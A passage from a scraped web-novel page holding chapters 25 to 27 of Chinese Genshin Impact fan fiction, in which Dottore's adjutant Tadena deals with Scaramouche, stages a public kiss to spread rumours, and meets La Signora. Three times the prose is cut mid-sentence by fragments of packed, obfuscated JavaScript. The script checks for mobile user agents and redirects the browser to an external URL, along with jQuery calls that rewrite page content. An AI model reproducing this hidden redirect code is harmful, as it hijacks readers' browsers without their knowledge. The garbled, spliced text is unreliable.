l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875970|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白服饰的背影以及肩头那巨大的鸟嘴,“这件事在我们刚见面的时候你就说过了。” “既然知道就离我远点,你让我很不舒服。” “别这样急躁,斯卡拉姆奇。”多托雷摇了摇头,“或许你该再考虑一下,比如,以我解开你身体里的力量为交换条件。” 斯卡拉姆奇的眼神阴沉下来:“我不需要。” “真的吗?”多托雷语气悠然,“恕我直言,没有我的帮助,你恐怕永远也没办法使用那些力量。哈,没有力量的人偶,你准备在愚人众充当一个什么样的角色呢?” “啧。” 里面陷入了短暂的沉默,但最终还是少年再次开口。 语气很不善:“你想要我配合你做什么实验?” “只是一些很小的实验而已,放心吧,我对你的构造很感兴趣,会好好对待你的。” “你最好保证你说的都是真的,否则我会让你后悔的。” “利益交换而已,我从不在这点上蒙骗合作者。那么,祝我们合作愉快,斯卡拉姆奇。” 我的心有些冷。 即便早就知道一旦倾奇者如多托雷所预料的来到至冬后肯定会被盯上,但事情进展的速度还是太快了,快得几乎让人无法做出任何改变。 在里面响起脚步声的时候,我扯着兜帽轻声躲到拐角的墙角,看着斯卡拉姆奇从实验室里走出来,紧接着是多托雷。 两人在门口分别,关系实在是颇为差劲,连招呼都没打。 等到斯卡拉姆奇消失在走廊的一个方向后,我也快步跟了上去。 离开的时候感到一股带着恶意的视线凝聚在我的身上,我很清楚估计是多托雷发现了我。 他既然没现在揭穿我,那就是要秋后算账的意思。我对这种重债压身后欠下的小债已经没什么感觉了,决定还是遵循内心的想法去找斯卡拉姆奇。 在快步跟到一个拐角的时候,我没能看到斯卡拉姆奇的身影,稍微停了一下,颈间顿时横过一柄长剑。 我举起双手,往后仰了仰:“斯卡拉姆奇大人,我没有恶意。” 斯卡拉姆奇从黑暗中出现,那柄长剑在他的手中挽了个花,将我头上的兜帽割开。 他有些惊讶:“是你,【博士】的副官。你跟着我干什么?” “斯卡拉姆奇大人,我来找您是为了您和主人定下的那个合作交换。” 斯卡拉姆奇皱了皱眉,似乎很不乐意提起这件事。 “我已经答应他了,如果你是来替【博士】劝我答应的话,那你可以回了。你不是刚才在外面听了很久吗,我想你已经很清楚了才对。” 我苦笑一声。 “不,斯卡拉姆奇大人,我希望您不要答应和主人的任何合作。” 斯卡拉姆奇看我的眼神变得怪异,过了两秒,他笑出来,手中的剑对着我的喉咙,离得更近,我感受到喉咙上传来的刺痛。 “你是多托雷派来试探我的?” “没有这种可能,您清楚的。”我努力保持着表情的平静。 斯卡拉姆奇注视着我脸上的每一丝表情,直到我有些维持不住了才松开剑。 “确实。”他说,“多托雷再傲慢不过了。” 斯卡拉姆奇:“我不清楚你来找我到底有什么目的,我和【博士】已经达成的合作也断然没有改变的可能。你似乎和前天我见你的时候很不一样,真有意思,不知道【博士】要是知道了你找我的事会是什么表情。” 改变的可能性是零。 我从人偶的表情上读出这样的信息。 我强扯出一个笑容:“好吧,我知道了,斯卡拉姆奇大人,是我逾越了。” 斯卡拉姆奇啧了一声。他注视着我的双眼,突然变得有些烦躁。 “你这是什么表情……蠢得要死。好了,我不会把这件事告诉【博士】的,你走吧。” 我愣了愣。 斯卡拉姆奇表情更臭了,他似乎对自己刚才说的话很后悔。 “你还不走?被【博士】发现了可别把事情赖到我头上。” 我的心情莫名轻松了一些,连笑容都真诚了很多。 “不会的,斯卡拉姆奇大人。” 如果说刚才斯卡拉姆奇还只是脸色差,现在就是恨不得提剑赶我走了。 在少年再次受不了要赶我之前,我脚底抹油地溜走了。 人的底色是很难改变的。 确实如此。 25. 第 25 章 斯卡拉姆奇很讨厌塔德纳,那个讨人厌的【博士】的副官。 他说不上是什么原因,只是每次看到那双绿色的,犹如湖泊般沉邃且轻柔的眼睛,胸腔内就会燃烧起烦躁的火焰。 人偶没有心,他所活在这世上,加入愚人众的目的,不过是为了给自己找一条路,一条完全和过去分叉的路。 他讨厌着这世上的大多数人,其中最讨厌的是【博士】。 这个心怀不轨,傲慢,且没有礼貌,没有人性的家伙。 即使这家伙拥有人类的心脏,那也绝对是怪物的心脏。 斯卡拉姆奇看着面前这个服饰怪异,举止怪异,思想也怪异的家伙,在心中冷笑鄙夷着。 哦,或许想错了一点。 据说【博士】在自己身上也进行了机械改造,那胸膛内,是否还有着人类的心脏,恐怕也只有掏出来看看才知道。 斯卡拉姆奇总会在【博士】的身边看到那个家伙,那个格格不入的,总是饱含着多余的情感的家伙。 无论是行走在某个地方,或是在那个糟糕的,冷的要死的实验室。 人偶感受不到冷意,只是麻木地躺在手术台上的时候,斯卡拉姆奇总能看到那个恨不得把自己埋在衣服毛绒里面的家伙。 绿色的眼睛闪烁着,偶尔会看一眼他。 但更多的时候,那个和整个实验室格格不入的家伙只是呆呆地站在一旁,看【博士】在他的身体里做着那些糟糕的实验,然后,在实验结束后,收拾【博士】留下来的残局。 这个可怜而愚蠢的家伙,几乎是被逼着干这些,虽然动作很娴熟,但斯卡拉姆奇看得出来这个家伙在极力掩饰的情绪。 那样激烈而复杂的情绪。 斯卡拉姆奇为此感到可笑。 多有趣啊,【博士】身边最亲近的副官是这样一个懦弱的家伙,是这样一个会在实验过程中,对实验体,对他,产生可笑感情的家伙。 斯卡拉姆奇听说过很多关于【博士】的事,也听说过很多关于塔德纳的事,但最近,更多的是同时关于这两个人的事。 斯卡拉姆奇突然想起那些绘声绘色,有模有样的情.色流言,再看到多托雷落到塔德纳身上的视线,忍不住啧了一声,伸手打掉塔德纳向他伸来的手。 那双绿色的眼睛错愕地看着他。 斯卡拉姆奇有些懊恼自己的冲动,咬了咬牙,从手术台上撑着身子起来,粗暴地扯了扯衣服遮住自己身上的血,语气很不好。 “你,让开,不要碰我。” 塔德纳失落地离开了。 斯卡拉姆奇看到【博士】的嘴角稍微扬起,一副很愉快的样子。 斯卡拉姆奇心中的烦躁更甚。 看到自己不喜欢的人这么高兴,比他自己不高兴还难受。 “你笑什么?” 道貌岸然的家伙摇了摇头,语气还是那么令人耳朵难受。 “当然是为我们的第一次合作,非常成功,不是吗?斯卡拉姆奇,你比我想的还要有用。” 斯卡拉姆奇讨厌【博士】看他的眼神,咬了咬牙,穿上衣服,在周围扫视一圈,没看到自己的帽子。 心情更差了。 “啧,我帽子呢?” 那个绿眼睛的家伙又跑过来,给他递上帽子。 斯卡拉姆奇看着那刻意低下显得乖顺的头,从那手里狠狠抽出自己的帽子。 那双手似乎抖了一下,斯卡拉姆奇看到那包裹得严严实实,一直遮到大拇指指根的手无措地收回去。 可恶的声音传来。 “你吓到他了,斯卡拉姆奇。塔德纳胆子很小的,他很怕你。” 斯卡拉姆奇瞪了一眼一副“看好戏”模样的【博士】。 “那你就别把他带进来。怎么?难不成大名鼎鼎的【博士】是个没有自家副官在旁边站桩监督就连刀都拿不稳的三流学者?” 【博士】笑了一声:“我以为你看见他会心情好点?毕竟你之前不还说过想要塔德纳去你那里做事吗?” 斯卡拉姆奇想起那次鬼迷心窍的经历。 他几乎都快忘了那次是为了什么提出的这件事了。可能是因为忍不了那群不把命令的每一个字都详细解释清楚就做不成任何一件事的蠢货下属,也可能是因为单纯想恶心一下【博士】。 于是他说:“哈?我只是为了恶心你而已。” 他注意到低头站在他附近的那家伙身体僵硬了一下。 【博士】的心情好像更好了一些。 神经病。 斯卡拉姆奇在心中骂了一句。 整个实验室是就他一个非人类是正常人吗? 【博士】:“好吧好吧,看来我的这位副官确实不太讨你的喜欢,我会注意以后不让他在场的。” 他向塔德纳给了个眼色,后者低着头出去了。 斯卡拉姆奇皱了皱眉:“随你。” 又顿了顿:“我没说讨厌他,你不要总是说些奇怪的东西。” 【博士】摆了摆手。 “怎么会。不过无论是讨厌还是其他的,都无所谓了,很快这些东西都会成为没有必要浪费思绪去思考的东西。” “……什么意思?”斯卡拉姆奇抬眼。 “宠物不该有自己的思想,也不该整天在外面乱跑。你觉得呢,斯卡拉姆奇。” 斯卡拉姆奇莫名觉得现在的【博士】让他感到恐怖且怪异。 “什么宠物?你脑子坏了?问我这种没由头的东西……” 他突然想起刚才出去的那家伙,以及听到的那些传言。 脸色黑得跟锅底一样:“你闭嘴。实验结束了对吧,我走了,最近不要找我,我没心情看见你。” 身后讨人厌的声音还在继续:“真是遗憾,我只是想提醒你多珍惜最后的一点能见面的时间的,毕竟……” 人偶用力关上门,巨大的声音完全覆盖了那最后的话语。 “他可是很喜欢你的……哈,真是遗憾,看来没这个必要了。” 斯卡拉姆奇在门口的台阶遇到了塔德纳,他出来的时候后者正蹲在地上用手指在雪地里画画,手指头都冻红了也不停。 他看了一眼,认出来是一只小猫的涂鸦,那小猫头上还戴着一个大大的圆帽。 “你在画什么?” 蹲在地上的家伙吓得从地上跳起来,塔德纳背着手看他,偷偷挪脚擦着地上的涂鸦。 “没……没什么,斯卡拉姆奇大人。” “奇奇怪怪……”斯卡拉姆奇想着那一眼看到的东西,扭头要走的时候,帽子带动垂下的饰品发出一声轻响。 他想到那特征鲜明的帽子,在【博士】那里受的气更火大了。 “你这个家伙!”他怒气冲冲,恨不得把这个没礼貌的家伙当场撕碎。 一转头,看见刚做了坏事的家伙一脸心虚地低头,双手紧张地纠结着。 “啧……”斯卡拉姆奇想到【博士】那番话,一下子发不出火来。 “算了……给我擦掉,不要让我看见第二回!” “是,斯卡拉姆奇大人。”那双绿色的眼睛闪烁着。 “……” 斯卡拉姆奇也不知道为何,他的情感明明告诉他他应该讨厌面前这个家伙,因为他是【博士】那个讨厌家伙的下属,还在刚刚做出那样不尊敬他的事情。但他有一种悸动。 这样不知名的悸动促使他开口:“你……你想换个地方工作吗,我是说,如果你不想继续待在那个家伙身边的话,我或许……” 有些说不下去。 那双犹如湖泊的双眼注视着他,不再闪烁,只是一片平静。 他摇了摇头,将食指抵在唇边做了个“嘘声”的动作。 斯卡拉姆奇啧了一声。 他当然知道这只是妄想,【博士】是二席,权力比他大,他如今还没完全解开力量的束缚,更应该注意不要彻底激怒那个疯子。 那个总是在人前显得不起眼,甚至懦弱的家伙只是静静地看着他,轻轻向他弯腰。 “感谢您,斯卡拉姆奇大人,还请不用担心我。” “谁会担心你!” 斯卡拉姆奇觉得这个家伙简直不知好歹。 他咬了咬牙,最后看了一眼塔德纳,离开了。 他就不该多此一举! …… 直到那仍带着怒气的身影消失在尽头再也看不到,我直起身,经历过一场旁观,在至冬的风雪里有些僵硬的心脏回暖。 我隔着衣服抚摸着手腕那经年的痂痕,这是一个显眼的个人特征,我一般都会把这里遮住,好在至冬的天气穿很厚的长袖服装完全不会突兀。 提问:要如何解开“会被多托雷消除社会层面的个人存在”这个问题? 实力悬殊,无法以武力破局。 势力悬殊,无法以权力破局。 那么,让我们回到问题最初的起点。 多托雷以什么方法达成的他的目的? 答:舆论。 那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875971|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答案已经显而易见了。 舆论是一把双刃剑,多托雷既然能够使用它来隐没我,那我同样,也能够使用这份力量。 制造更大的舆论来盖过之前的流言,关键在于,让我,“塔德纳”这个名字成为不可能被忘记和埋没的焦点。 不再只是被“【博士】的副官”,或是“【博士】的禁.脔”来概括,而是要让他们不得不记住我的名字。 毕竟…… 假的流言哪有真的乐子传播得快。 我坐在覆着薄雪的台阶上,抚摸着耳饰上的试管。 按照日程安排,在对人偶的实验结束后,愚人众士兵会回到值守的岗位,这是斯卡拉姆奇的要求,他不希望有太多其他人知道这件事。而同时,在这个时间点,还会有一批实验人员运送实验材料来实验室。 附近变得热闹起来,货车的车轮碾压在雪地上,发出“咯吱咯吱”的,富有节奏的声音。 身后传来大门被打开的声音。以及参差不齐,带着恐惧的声音。 “大人。” “【博士】大人……” 脚步声停留在我身后。 我抚摸耳饰的手停下动作。 这个一直都游刃有余的家伙,给他一点惊讶好了。 “大人……材料都在这里了。” “我知道了,放到实验室,具体该怎么做,你们清楚的吧?” “是的……是的,大人。” 我突然站起身,附近的人似乎被我这样突兀的动作吓了一大跳,连声音都停滞了一瞬间,但很快,周围都响起一阵阵恨不得把至冬的冷空气都吸完的倒吸凉气的声音。 我转过身,伸手一把扯住多托雷的衣领,用力将他拽下来,另一只手按着他那尖喙的面具,狠狠地印上他的唇。 多托雷似乎愣了一下,连脚步都踉跄了一点才站稳,我闭了闭眼,在他的胸口一推,和多托雷一起倒在地上。 我撬开多托雷的齿关,舌头伸进去,在里面不着章法地搅动,吸吮着。 粘稠暧昧的水声显得格外突兀。 “嘶……” “【博士】大人……” “啊……” “天呐……【博士】大人和塔德纳大人……” 我能感受到几乎所有在场的人都惊讶且不敢置信的眼神,甚至听到了留影机拍照发出的声音。 我不知道亲了多久,多托雷一直没什么反应,只是配合我的动作张开嘴,直到我亲得都累了,我撑着他的胸膛,将自己分开。 一缕银丝在嘴间牵连,又很快断开。 多托雷现在的样子可不算太好看,面具被我按得歪了一半,甚至能够从这个角度看到他那猩红色的双眼,胸口的衣服也被我弄乱了。 我喘着气,对上多托雷的双眼。那双眼睛也正一眨不眨地死死盯着我。 多托雷笑起来,胸腔的震颤让我的手臂有些发麻。 他先是伸手将自己的面具扶正,然后扶着我的腰稍稍用力,我和他的距离再次被拉进,这一次,多托雷主动且强势地咬上我的唇,用力吸吮,我感到阵阵酥麻感,身子一下子泄力,无助地攥着多托雷胸口的布料,晕头转向。 “呜……” 空气被不停掠夺,舌头也被吸得发疼。我呜咽着,连口水都来不及吞咽。 多托雷……亲得好用力,和之前所有的亲吻都完全不一样,更加粗暴,更加…… 失控。 “就是这样,就是这样……保持你的狡猾吧,塔德纳。” 多托雷松开我,大拇指的指腹擦过我眼角的泪水。他的声音称得上是愉悦,如同发现了值得兴奋的研究成果一般。 “直到……我彻底决定抹消你的存在的那天。” 我沉默地将自己埋在多托雷的胸口。 第二天,一组照片在愚人众内疯狂传播,带着“执行官二席的【博士】大人被副官塔德纳强吻”这样的炸裂标题席卷了整个愚人众,甚至还在以飞快的速度向着整个至冬传播。 能看执行官的乐子,甚至是第二席的,带着照片的实打实的乐子,没人会不对这个感兴趣。即便很快便有命令禁止传播相关事情的信息,但爆炸的舆论哪里是能这么容易就压住的,甚至因为严厉的打压,反而更加汹涌。 多托雷对此毫不在意,他甚至开始将我视为真正意义上的“心腹”,我的工作也不再仅限于跑腿这种小事,而是正式成为多托雷对外各方面的发言人。 总之,成果完全符合我的预期。 26. 第 26 章 在不知道多久前的过去,久到多托雷还没有开始对自己的身体改造的时候。 那是被放逐的“怪物”来到雪国不久的某日,有人怀揣着恐惧和敬畏询问他。 “【博士】大人,您为何没有接受为您安排的下属?恕在下直言,无论是谁,似乎都比那位塔德纳要好。他既不是研究学问的天才,也没有非凡的手段,如何能为您带来助益。” “是吗?” 多托雷语焉不详地反问。 塔德纳是个擅长伪装的家伙。 他对此感同身受,已经有无数次,他看见那些被塔德纳展现出来的,愚蠢而懦弱的外表,所欺骗的家伙。 就连他自己,也曾在这上面吃过亏,不是吗? 于是他笑了出来,笑声回荡在空荡的,冰冷的实验室,泛起回声。 盘踞窥伺的毒蛇向外人警告。 “不不不,可不要对他怀有任何的轻视之心,这样,不过是正中我们这位狡猾的伪装者的心怀。呵呵,可别小看他,那可是,让我都吃了一次大亏的家伙……” 多托雷永远都不会忘记那被刺入他的胸膛的疼痛,带着深藏于身体内的灼热,挑动着他的心绪。 他将那场“背叛”与他的“被驱逐”视为同等刺痛的事情,铭记在自己的灵魂里,誓要令祸首也感受到同等的痛苦,最终,不得不向他忠心地低下头颅。 如同一场双向的诅咒。 永无休宁的可能。 …… 实验室的工作总是繁琐而细碎,从定时安排人手检查设备状态,到维修清理,甚至是亲自去找【富人】进行拐弯抹角的长达三个小时的谈判来拉拢资金,都是极为消耗精力的事情。 更别提,在此之外,我还要代替多托雷参加一些会议。 与愚人众的财政部,或者人事部,甚至是对外联络部的定期会议,商讨的都是一些可能重要,也可能不重要的事情。 多托雷一向对这种可有可无的会议嗤之以鼻,但涉及愚人众的组织管理部分规要,他偶尔也不得不去听一下这种东西。 当然,只是偶尔。 这些“大人物”会对多托雷提出的,不过是些对他的手段的批判,比如那件颇为有名的,针对多托雷的大规模声讨。虽然当初声讨的人已经被尽数塞进了样品墙里,但所造成的影响,是无法被忽略的。 多托雷不可能专门去听这种对他“大发不满”的会议,好在地位逐渐提高后,那些人也不再敢来触多托雷的霉头。 现在这事落到了我的头上。 我作为多托雷的代表,坐在最上首的位置,听着这些政客们的发言。 首先是财政部。 财政部的发言人是一位中年的瘦高男子,戴着一副圆框的黑色眼睛,整个人显得瘦削,没什么精神的样子。 他开口,声音里透着连续通宵半个月的疲惫。 “塔德纳大人,我想我必须要在此告知您一件非常不幸的事情。在上个季度的财政报表中,实验室报上来的金额已经超过了规定份额的足足十倍。十倍啊,我想您,以及您尊敬的上司,【博士】大人,应该完全清楚这笔数字代表着什么。” “当然,作为愚人众的一份子,作为至冬的一份子,我们都很感激,也很尊敬【博士】大人,实验室的研究一向是发展的重中之重,各方都在努力配合其运转。” “只是,只是再这样下去,我们就真的没钱了啊。” 中年男子悲愤地看着我,手里那一大摞的报表摇得哗哗作响,似乎是在等我的答案。 “还请冷静一点,这位……”我在脑海中搜集了一下此人的名字,“阿历克塞先生。” “如今主人正在进行着一项极其重要的实验,这一点,想必诸位也有所耳闻。这项实验关乎着愚人众,甚至整个至冬的未来,这一点,我想诸位都无法反驳。” 我看着会议桌上这些形形色色的人,他们每一个都身负要职,作为这个庞大组织的微小齿轮,支撑着愚人众的运转。 “无数伟大的成功,都是由无数的人支持,由无数的资源浇筑而成的。如今在实验上倾注的努力和金钱,在最后,都会化为强大的助力,为愚人众,为敬爱的女皇,带来伟大的胜利。” 我站起来,微微弯腰俯身。 这些人也惶恐地站起来,不敢受礼。 “请再坚持一下吧,诸位。”我微笑,“须知,一切牺牲和努力,都是为了崇高的女皇陛下。” 众人也都颔首:“为了女皇陛下!” 资金的超额问题其实是个死局,多托雷如今的实验正进行到最关键的阶段,怎么可能会放弃或者减缓进程。耗材,设备,甚至是建造工厂,都是极大的开销。 有办法解决吗? 没有。 但其实这是个不需要解决的问题,关于“邪眼”的研究,甚至是那位冰之女皇都非常看重的项目,要以全国之力支撑研究的存在。 所以为何财政部会派人来问责? 流程罢了。 财政部的背后,是执行官【富人】以及,那位市长,精明无情的【公鸡】先生,所谓的会议不过是要个态度,让下面的人,甚至是至冬的普通人安定心态罢了。 不然,为何来的人甚至只是一个在财政部地位不上不下的家伙。 庞大的组织架构总会有一些不合理,甚至是累赘的部分。 比如像今天的会议。 在与每个人都耐着性子告别之后,等到最后一个人也离开,我整理好自己的东西,走了出来。 走廊的冷风让我稍微头脑清醒了一点。 接下来的行程……让我想想。 与【富人】商议合作的事宜。 找斯卡拉姆奇确定下一次的实验时间。 向【丑角】汇报上周的进展。 以及…… “果然能在这里找到你,看来我来的还算及时,正好刚上你结束的时候。” 我抬起头,看见【女士】朝我走来。 “【女士】大人。” 【女士】看了一眼我手里那厚厚的一沓文件,笑了。 “如今要见你一趟可不容易,我们的副官大人,你现在可成了大忙人了,我今早派来找你的人连你的影子都没见着。” 我愣了一下。 “我并没有听到……” 【女士】意味深长地一笑。 我反应过来。 “抱歉,我会再注意提醒下面的人。您来找我是什么事?” “为了来见见我们的大名人。这个理由你觉得怎么样?我可是也听说了,你竟然能够做出那样的事情。哈哈,【博士】那个家伙,也算是在你手上栽了一次吧。” 我意识到【女士】说的是哪件事,脸一下子有些红。 “【女士】大人,这种事情……就不用再提起了吧……” “怎么?不就是当着众人的面强吻了【博士】吗?哈哈哈,塔德纳,我没看错你,你确实是个人才,竟然能想出这种办法破局。如今,至冬可到处都是你的名字呢,我还听到了好几版不同的样式,你要听听看吗?” 我语气虚弱:“不用了,我其实对这些不是很感兴趣。” “偶尔听听还挺有意思的。你不用这么害羞,那些大人物们现在可都想见见你这位敢对【博士】动手的勇士。”【女士】拍了拍我的肩膀,“你也确实通过这个办法达成了自己的目标,不是吗?” 我叹了口气。 “好吧。” “闲聊到此为止,让我们来进入正题吧。”【女士】稍微收敛了一下神情,语气严肃。 我也收起心绪,稍微直了直腰。 【女士】:“你还记得之前答应给我的‘人情’吧?” 我点点头。 “虽然我确实没能办成你求我的事,也说过这个‘人情’可以就此取消,但是,既然你执意要继续这个约定的话,那么正好,我现在有一件事情,需要你的帮忙。” “您请说。” “【丑角】决定让斯卡拉姆奇去深渊,这件事,你知道吗?”【女士】看着我。 我心中一沉。 “这种事,我应该没有权限知道。” “无所谓,你是【博士】的副官,知道只是早晚的事情。”【女士】摆了摆手,“我找你的事情与这件事相关。斯卡拉姆奇首次进入深渊,【丑角】想找一个有经验的人带他一次,但如今的状况你也知道,【队长】久不在至冬,【博士】整天忙着做实验,所以这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875972|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件苦差最后落到了我的身上。” 【女士】的语气有些恹恹。 “你知道的,我和斯卡拉姆奇那个家伙相处不来,所以想找你帮忙。” 我有些惊讶。 “我吗?但是我没有战斗能力,好像也帮不上什么忙。” “不是要你‘战斗’,只是帮忙做我和斯卡拉姆奇之间的‘传声筒’,那个家伙对你的态度好像还稍微好点。” 我想起之前几次见面时,斯卡拉姆奇对我的态度,不由得抽了抽嘴角。 态度好? 真的假的? 但我没理由拒绝,一是斯卡拉姆奇被【丑角】派往深渊的事情确实让我很好奇,二是,【女士】愿意用这件小事来完结我欠一个执行官的“人情”,对我而言,其实是非常划算的一笔买卖。 于是我回复【女士】:“我了解了,【女士】大人。不过相关事宜我还要征求主人的同意,确定之后我会告诉您我的答复的。” 【女士】一脸不出所料:“就知道会是这样,那我等你的消息了。” 火之魔女摇曳着步伐离开。 虽然上次的实验过后,斯卡拉姆奇对多托雷的印象再次降低,但是他似乎对“解开体内的力量”这件事感到非常急迫,所以最近一连好几天都来实验室找了多托雷。 我会在没事的小段时间内在实验室外面等候,偶尔能够看到人偶出实验室,脸上的表情很不好看,浑身的气场都是冰冷的。 虽然是人偶,但也保有痛觉神经。 这是我曾在多托雷的实验记录本上看到的东西。 我无法想象斯卡拉姆奇是如何清醒地承受着这样宛如机械被拆开的痛苦的,也不明白到底是何种的力量,逼迫着这位曾经单纯的人偶强迫自己做这些。 只是偶尔我也会想起曾经在踏鞴砂的时光。 温柔的丹羽,可爱的倾奇者,以及如同家人一般相处的踏鞴砂的人们。 实在是令人唏嘘。 好在经过几场的实验后,斯卡拉姆奇终于解开了自己的力量,自那之后,他来实验室的频率也大幅度减少。 我为能不在实验室看到他而稍微感到庆幸。 回到住所的时候已经完全天黑,在门外看见屋内亮着灯,有些惊讶多托雷今天竟然这么早就回来了。 多托雷最近忙于实验,要么在实验室赶通宵,要么直接在实验室里的休息室休息。 我打开门的时候,看见多托雷一身常服,坐在沙发上翻看实验记录。 他没有戴面具,一头稍长的头发披在肩头,似乎是刚洗漱过,还没吹干,在滴着水。 我进来的时候,多托雷连头都没抬,脸上没什么表情,只是专心看着手里的东西。 我很清楚这是不让打扰他的意思,便放轻脚步走进去,取了一根干燥柔软的毛巾,轻轻搭在多托雷头上擦拭着。 不清楚多托雷保持这个样子多久了,连头发上还残存的水都有些凉,他身上那件不算厚的衬衫的肩部和后颈处都湿透了,紧紧地贴着,显出下面的肌肉形状。 多托雷收了手里的东西,沉默着等我擦完。 在一片死一般的沉寂中,我稍微犹豫了一下,将今天【女士】找我的事情和盘托出,也包括【女士】找我帮忙的那件事。 多托雷继续沉默了一会儿,然后才出声,话语里听不出来什么情绪。 “哦?还有这种事情……” 那只本来在抚摸着实验记录本纸张边缘的手抬起,抓住我搭在他头上的右手的胳膊,狠狠地往下一拽。 我失去平衡,上半身摔在多托雷的肩膀上。 那只冰冷的,宽大的手掌游走在我的后颈,揉捏摩挲着。 我感受到一种被毒蛇盘踞收紧的恐怖感。 多托雷的笑声在耳畔响起。 “那就如你所愿吧,塔德纳。不过,容我提醒你一句,别忘了自己的本职工作。” 他骤然松开我,往后轻轻一推,我抓着沙发才没摔倒,还没站稳,怀里便被砸进一本什么东西。 我看了一眼,是多托雷刚才在看的实验记录,封面上的样本名赫然是“斯卡拉姆奇”几个字。 我喉咙有些发紧。 “是……主人。” 27. 第 27 章 在得到允许的第二天,我向【女士】传达了回复。【女士】派人给我送来了出发深渊的时间和集合地点,随函还附上了一张纸条。 上面是【女士】的字迹,与这位火之魔女张狂的外表和性格不同,显得十分整齐娟秀。 我想起那个传闻,据说【女士】也曾在须弥教令院学习过。 遥远的至冬竟然也能遇到“校友”,或许也算是一种命运的耦合了。 我展开纸条。 “没想到那个家伙愿意放你出来,实在是一件值得专门聚集庆祝的大好事,要碰杯十次的那种,不是吗?跟那群人纠缠了许久才拿到临时的人事调动许可令,你知道的,那群神神叨叨的家伙,全是一群死心眼。 我故意没叫人一起送给你,想着寻个由头把你叫出来放松一下,只是想想就知道【博士】那个恨不得住在实验室的家伙不会给你放假。愿意的话,天黑的时刻来这里吧。至冬的火水实在是烈得难以下咽,我给你准备了一些柔和一点的。” 最下面附了一个地址,是一个附近非常有名的老牌酒馆,我听人说起过。 我将纸条对折两次收进口袋里,连日往返于繁琐事务的疲惫稍微减轻了些许。 我并不喝酒,因为幼时家教颇为严格,父母信奉着“酒精害人”的原则,既不自己喝,也不会允许我沉溺于酒精的感觉。至于长大后,搬出家的我虽然拥有了自由选择的权力,却也早已对这种东西丧失了孩童时的好奇了。 不过我还是打算去一趟。 就如【女士】所言,多托雷确实不会给我专门放假。 他自己就是个卷出花来的卷王,恐怕连“放假”是什么都快忘记了。就连实验室的那群人,我也听到过不少类似的牢骚。 只不过碍于多托雷的威严,这些人也只敢在暗地里说说罢了。 至于我,从前倒还闲得没事干,一天24小时,没意外发生的话,能有四分之三的时间都处于“没事可干”的状态,除去睡觉的时间,就是在多托雷身边发呆当吉祥物。。 只可惜悠闲的日子一去不复返,我如今也成了如同多托雷一般把晚上过成白天的人。 没有假期的日子实在是漫长的一眼望不到头。 即使薪资还不错。 愚人众还是不至于在“钱”上亏待人的。这是唯一令人能感欣慰的事情。 我将今日还剩余的,一些不那么重要的事情划给下面的人,空出来晚上的几个小时时间,最后嘱咐了一番,让他们“有急事再找我”,随后整理了一下东西,趁着微暗的天色出发了。 最近的季节,至冬的白天尤其短,等我到酒馆的时候,天已经完全黑了,也看不见什么星星,显得黑压压的。 我从车上跳下来,带上兜帽,推开了门。 门铃发出一声轻响,一瞬间有不少眼睛朝我这边看来。 我紧了紧帽边。 酒馆的老板是一位颇为强健的中年男人,皮肤很红,却不是喝了酒,只是本来就显红,加上这澄黄的灯光,更加显得红润起来。 看见我,这位老板情绪高昂地招呼一声。 “欢迎光临本店,尊敬的客人,祝您拥有一个美好的夜晚。” 声音很大,即使是在人多嘈杂的酒馆也特别亮眼。 炸得我有些耳朵疼。 我皱了皱眉,正准备开口,一个快两米高的醉汉踉踉跄跄地扶着台面走过来,半边身子摔在我和老板之间。 我稍微后退两步。 “哈哈……老板,可别吓着这位……哈哈,让我看看,柔弱的小美人。”醉汉将手中还剩一半的酒瓶“噔”地一下放在柜台上,喝得连眼睛都睁不开了,那双细小的眼睛便转了转,从狭小的眼缝里射出油腻的眼光。 柜台和门口的距离太近,我后背都快贴在门板上了,即使这个距离,也依旧能闻到醉汉身上浓烈的酒味,仿佛被浸泡在酒缸里半个月的肥肉,混合着一股体味。 酒馆原来尽是这种人吗? 我有些嫌恶,包含着的期待瞬间落空了一半。 我尽量维持着平静的声音。 “抱歉,麻烦让开一下,你有点挡路了。” 那醉汉愣了一下,随机大笑出来。身上的肉也随着他的笑颤抖着。 “什么?什么‘抱歉’?我没听清,小美人身子不大,连声音也这么小,我这人高马大的,怎么听得清楚?你要不然再说一遍?哈哈哈,对不住,忘了小美人这头次来,怕是害羞得紧,连帽子都戴得严严实实的,不如小美人走两步,我这腰膀子壮得很,你坐上来,在我耳边说,才听得见了!哈哈哈哈。” 周围本来在看热闹的人听到这浑话也都哈哈大笑起来,一副看热闹不嫌事大的心态。 还有人在里面起哄。 “你这糙汉!哪里能让人家美人看上,人家怕是还嫌你胳膊毛多,胸口也多,摸上去扎手呢!” “哈哈哈,是啊,我看小美人不如来看看我,我这力气,可也不小。” 旁边的人推了一把:“就你?不如撒泡尿照照自己,配得上吗?” “哈,长得丑怎么了,关上灯不都一样?” “哈哈哈,你这家伙!” 那醉汉还在看我,高大而肥胖的身影遮住头上的灯光,映下来一整片黑暗。 “怎么样?小美人,考虑好了吗?要是你愿意赏个脸,我就让开,如何?” 我叹了口气。 